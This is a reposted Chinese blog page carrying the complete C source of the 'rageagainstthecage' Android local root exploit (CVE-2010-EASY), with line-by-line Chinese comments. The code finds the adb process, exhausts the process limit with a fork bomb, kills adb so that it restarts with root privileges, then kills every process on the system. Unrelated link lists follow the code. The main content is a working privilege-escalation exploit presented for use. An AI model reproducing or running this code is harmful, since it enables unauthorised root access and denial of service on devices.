【转载】rageagainstthecage.c源码以及注释
如下:
//头文件包含
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h> //输出错误消息后退出程序
void die(const char *msg)
{
perror(msg);
exit(errno);
} //搜索ADB进程,返回其PID,没有找到时返回0
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0; //初始化为0,如果没有找到adb将一直保持0值 //遍历进程ID的有效范围
for (i = 0; i < 32000; ++i)
{
//拼接字符串"/proc/<PID>/cmdline"
sprintf(buf, "/proc/%d/cmdline", i); //打开失败,进程不存在或无权访问
if ((fd = open(buf, O_RDONLY)) < 0)
{
//跳过这个PID,继续下一轮循环
continue;
} //end if //buf填0
memset(buf, 0, sizeof(buf)); //读取进程的命令行
read(fd, buf, sizeof(buf) - 1); //关闭进程
close(fd); //在命令行中查找"/sbin/adb"
if (strstr(buf, "/sbin/adb"))
{
//找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID
found = i;
break;
} //end if
} //end for //返回找到的PID或0值
return found;
} //重启adb进程,参数为当前adb进程的PID
void restart_adb(pid_t pid)
{
//直接杀死进程(sig = SIGKILL)
kill(pid, 9);
} //等待具有root权限的adb进程
//参数为原有adb进程的PID
void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0; //死循环,只能由里面的break跳出
for (;;)
{
//搜索adb进程
p = find_adb(); //找到了adb进程,并且不是原来那个旧的adb进程
if (p != 0 && p != old_adb)
{
//退出循环
break;
} //休息1秒,防止大量占用CPU
sleep(1); } //end for //休息5秒,等待新的adb进程初始化完毕
sleep(5); //将SIGKILL广播给系统中的所有进程
kill(-1, 9);
} //程序入口点
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl; //启动时显示的版本与版权信息
printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
printf(" checking NPROC limit ...\n"); //获取当前进程可以创建的最大子进程数量
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
{
//失败时输出消息退出
die("[-] getrlimit");
} //检查是否有最大子进程数量限制
if (rl.rlim_cur == RLIM_INFINITY)
{
//当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
exit(1);
} //输出最大子进程数量软性限制和硬性限制
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf(" Searching for adb ...\n"); //查找adb进程
adb_pid = find_adb(); //检查是否找到了adb进程
if (!adb_pid)
{
//没有找到时直接退出
die("[-] Cannot find adb");
} //输出adb进程的PID
printf("[+] Found adb as PID %d\n", adb_pid); //输出一大堆废话
printf(" Spawning children. Dont type anything and wait for reset!\n");
printf("\n If you like what we are doing you can send us PayPal money to\n"
" 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
" If you are a company and feel like you profit from our work,\n"
" we also accept donations > 1000 USD!\n");
printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); //休息5秒,防止当前的adb进程没有完全初始化
sleep(5); //如果在父进程中(已有子进程)
if (fork() > 0)
{
//退出
exit(0);
} //创建一个新的进程组
setsid(); //创建管道
pipe(pepe); //如果在子进程中
if (fork() == 0)
{
//关闭输入管道
close(pepe[0]); //死循环,直到满足条件时退出进程
for (;;)
{
//如果是子进程
if ((p = fork()) == 0)
{
//直接退出
exit(0);
}
else if (p < 0) //创建进程失败,说明已达到进程数最大值
{
//确保代码只执行一次,防止多个进程反复输出信息
if (new_pids)
{
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
//在输出管道中写入一个字节,然后关闭管道
//相当于通知顶级父进程fork炸弹完成
write(pepe[1], &c, 1);
close(pepe[1]);
}
}
else
{
//进程总数+1
++pids;
}
}
} //关闭输出管道
close(pepe[1]); //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值
read(pepe[0], &c, 1); //重启adb
restart_adb(adb_pid); //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位
if (fork() == 0)
{
//子进程里继续开子进程,保证进程空位被占满
fork(); //无限休眠,永不退出
for (;;)
{
sleep(0x743C);
}
} //等待具有root权限的adb启动
wait_for_root_adb(adb_pid); //执行完毕
return 0;
}
转自:http://blog.sina.com.cn/s/blog_405bf2e501011ic7.html
【转载】rageagainstthecage.c源码以及注释的更多相关文章
- robotlegs2.0框架实例源码带注释
robotlegs2.0框架实例源码带注释 Robotlegs2的Starling扩展 有个老外写了robotleges2的starling扩展,地址是 https://github.com/brea ...
- eclipse/intellij idea 查看java源码和注释
工作三年了,一直不知道怎么用IDE查看第三方jar包的源码和注释,惭愧啊!看源码还好些,itellij idea自带反编译器,eclipse装个插件即可,看注释就麻烦了,总不能去找api文档吧!现在终 ...
- 【Eclipse+IntelliJ反编译】Eclipse/IntelliJ IDEA反编译查看源码及注释
怎么用IDE查看第三方jar包的源码和注释,IntelliJ IDEA自带反编译器,Eclipse装个插件即可,不能看注释就麻烦了,总不能去找API文档吧,现在终于掌握了,下面给出解决方案,供大家参考 ...
- ExcelToHtmlTable转换算法:将Excel转换成Html表格并展示(项目源码+详细注释+项目截图)
功能概述 Excel2HtmlTable的主要功能就是把Excel的内容以表格的方式,展现在页面中.Excel的多个Sheet对应页面的多个Tab选项卡.转换算法的难点在于,如何处理行列合并,将Exc ...
- Mybatis3源码加注释后后编译问题
参考:https://mp.weixin.qq.com/s/v0ihaPsuyGufdc_ImEqX8A给mybatis3源码加注释并编译源代码 编译命令: mvn clean mvn install ...
- [转载]JMeter源码导入Eclipse
转载自:http://www.cnblogs.com/taoSir/p/5144274.html 由于JMeter纯Java开发,界面也是基于Swing或AWT搞出来的,所以想更深层次的去了解这款工具 ...
- [转载]《STL源码剖析》阅读笔记之 迭代器及traits编程技法
本文从三方面总结迭代器 迭代器的思想 迭代器相应型别及traits思想 __type_traits思想 一 迭代器思想 迭代器的主要思想源于迭代器模式,其定义如下:提供一种方法,使之能够依 ...
- vue源码逐行注释分析+40多m的vue源码程序流程图思维导图 (diff部分待后续更新)
vue源码业余时间差不多看了一年,以前在网上找帖子,发现很多帖子很零散,都是一部分一部分说,断章的很多,所以自己下定决定一行行看,经过自己坚持与努力,现在基本看完了,差ddf那部分,因为考虑到自己要换 ...
- 使用C#重写网上的60行 Javascript 俄罗斯方块源码 (带注释)
在很久很久以前,就已经看过 60行Js的俄罗斯方块源码.无奈当时能力不够看明白,当时觉得就是个神作. 现在总算有空再看了,顺便用c#实现一遍(超过60行),顺道熟悉下Js API. 网上其他博客也有分 ...
随机推荐
- webstorm中使用java的块凝视
webstorm中使用java的块凝视 有图有真相 使用java中非常方便得/**+enter就能高速创建类凝视.可是webstrom中没有现成的,所以我们得自己去创建一个,详细方法例如以下: 博主w ...
- Html5学习笔记1 元素 标签 属性
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Android 音频的播放之二MediaPlayer
MediaPlayer类可用于控制音频/视频文件或流的播放.关于怎样使用这个类的方法还能够阅读VideoView类的文档. 1.状态图 对播放音频/视频文件和流的控制是通过一个状态机来管理的. 下图显 ...
- find and xargs
调整搜索深度 -mandepth 搜索当前目录,而不进入子目录: find . -maxdepth 0 -name "debug*" Linux中find常见用法示例 ·find ...
- POJ 3335 Rotating Scoreboard(半平面交 多边形是否有核 模板)
题目链接:http://poj.org/problem? id=3335 Description This year, ACM/ICPC World finals will be held in a ...
- Android gdb so
gdb debug an android application 1.gdb 要有gdbserver 一般模拟器默认装有gdbserver,如2.3.3的模拟器,看一下有没有: D:\Develope ...
- eclipse代码注释模版
设置注释模板的入口: Window->Preference->Java->Code Style->Code Template 然后展开Comments节点就是所有需设置注释的元 ...
- 深入Garbage First垃圾收集器(二)背景
G1 GC是目前Java HotSpot虚拟机最新的垃圾收集器. 它是一种压缩型收集器,其基本原则是首先收集尽可能多的垃圾,因此被命名为"Garbage First" GC. G1 ...
- 发送邮件程序报错454 Authentication failed以及POP3和SMTP简介
一.发现问题 在测试邮件发送程序的时候,发送给自己的QQ邮箱,程序报错454 Authentication failed, please open smtp flag first. 二.解决问题 进入 ...
- redis文档翻译_LRU缓存
Using Redis as an LRU cache使用Redis作为LRU缓存 出处:http://blog.csdn.net/column/details/redisbanli.html Whe ...